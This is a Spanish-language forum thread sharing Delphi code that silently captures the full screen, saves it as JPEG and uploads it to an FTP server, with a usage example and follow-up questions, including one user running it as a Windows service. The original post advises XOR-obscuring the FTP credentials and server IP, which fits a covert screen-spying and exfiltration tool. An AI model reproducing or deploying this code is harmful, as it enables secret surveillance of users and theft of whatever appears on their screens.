Página 1 de 1

[Delphi] Capturar pantalla y enviarla por FTP

Publicado: 22 Jun 2008, 00:20
por status.0
El siguiente código muestra como capturar la pantalla y guardar la imagen en un archivo jpeg, que luego subimos a un servidor ftp. Para el ejemplo de subir el archivo uso WinInet.
Cabe anotar que seria recomendable encriptar/XORear datos como usuario/contraseña y IP FTP como precaución.

Funcion Upload Desktop JPG

Código: Seleccionar todo

 
uses Windows, SysUtils, Classes, Graphics, Jpeg, WinInet;
 
function UploadScreen(Server: string; Port: Word; Username, Password: PChar): Boolean;
var
  hNet: HINTERNET;
  hCon: HINTERNET;
  hFile: HINTERNET;
  Context: DWORD;
  Bmp: Tbitmap;
  Jpg: TJPEGImage;
  Mem: TMemoryStream;
  Escritos: Cardinal;
begin
  Result := FALSE;
  Context:= 0;
  hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if (hNet <> nil) then
  begin
    hCon:= InternetConnect(hNet,PChar(Server),Port,Username,Password,
      INTERNET_SERVICE_FTP,0,Context);
    if (hCon <> nil) then
    begin
      hFile:= FtpOpenFile(hCon,PChar(FormatDateTime('ddmmyyhhnnss',Now)+'.jpg'),GENERIC_WRITE,
        FTP_TRANSFER_TYPE_BINARY,Context);
      if (hFile <> nil) then
      begin
        Bmp:= Tbitmap.Create;
        Jpg:= TJPEGImage.Create;
        Mem:= TMemoryStream.Create;
        try
          try
            bmp.Width:= GetSystemMetrics(SM_CXSCREEN);
            bmp.Height:= GetSystemMetrics(SM_CYSCREEN);
            BitBlt(bmp.Canvas.Handle,0,0,bmp.Width,bmp.Height,GetDc(0),0,0,SRCCOPY);
            jpg.Assign(bmp);
            jpg.CompressionQuality:= 60;
            jpg.Compress;
            jpg.SaveToStream(Mem);
            if InternetWriteFile(hFile,Mem.Memory,Mem.Size,Escritos) then
              Result:= Mem.Size = Escritos
            else
              Result:= FALSE;
          except end;
        finally
          Mem.Free;
          Bmp.free;
          Jpg.free;
        end;
        InternetCloseHandle(hFile);
      end;
      InternetCloseHandle(hCon);
    end;
    InternetCloseHandle(hNet);
  end;
end;
Y para poner a funcionar la pieza del codigo, Un ejemplo de como usar la funcion anterior

Código: Seleccionar todo

var
  Usuario: string;
  Password: string;
begin
  Usuario:= 'fulanito';
  Password:= '';
  UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
end;
En donde bastaria por cambiar los datos correspondientes
a usuario/password, FTP y puerto donde conecta.
Usuario:= 'fulanito';
Password:= 'password';
UploadScreen('127.0.0.1',21,PChar(Usuario),PChar(Password));
___________________
Para los que ensayaron lo expuesto en ejecución con espejo veran de nuevo el uso de Graphics y Jpeg en las capturas de pantalla, por lo que podria ser un buen complemento

Re: [Delphi] Capturar pantalla y enviarla por FTP

Publicado: 01 Jul 2009, 05:02
por batagglia_666
buenisimo aporte, pero una pregunta apenas comienzo en delphi, sabria como poner el codigo en visual basic pero me gustaria que explicaras mejor como introducir el codigo en delphi.

un saludo y gracias..

Re: [Delphi] Capturar pantalla y enviarla por FTP

Publicado: 05 Jul 2009, 15:53
por Dark Zard
es una funcion, ponla en cualquier evento de un form, en el OnClick de un boton por ejemplo
Es decir la funcion aparte, y que ejecute la funcion un evento

Re: [Delphi] Capturar pantalla y enviarla por FTP

Publicado: 05 Dic 2010, 12:59
por anviwo
El código está muy bien y funciona bien.

El problema que me pasa es que para que sea más útil lo he puesto en un servicio en lugar de una aplicación "normal", y ahí aparece el problema.

Funciona todo aparentemente bien, pero en el servidor Ftp aparecen los archivos creados con tamaño cero.

La función devuelve un TRUE, es decir, que envió el número de bytes correctos.
El servidor FTP está en la red local, con lo que no hay problemas de lentidud.

De hecho, el mismo código, puesto en una aplicación normal funciona perfectamente.

Que puedo hacer?

Re: [Delphi] Capturar pantalla y enviarla por FTP

Publicado: 05 Dic 2010, 15:33
por p0is0n-123
Más de 5 post seguidos...Esto no es un chat.
Algun comentario o Complicación (Dudas y Preguntas)....

De momento lo dejamos cerrado,porque sinó se vuelve un caos....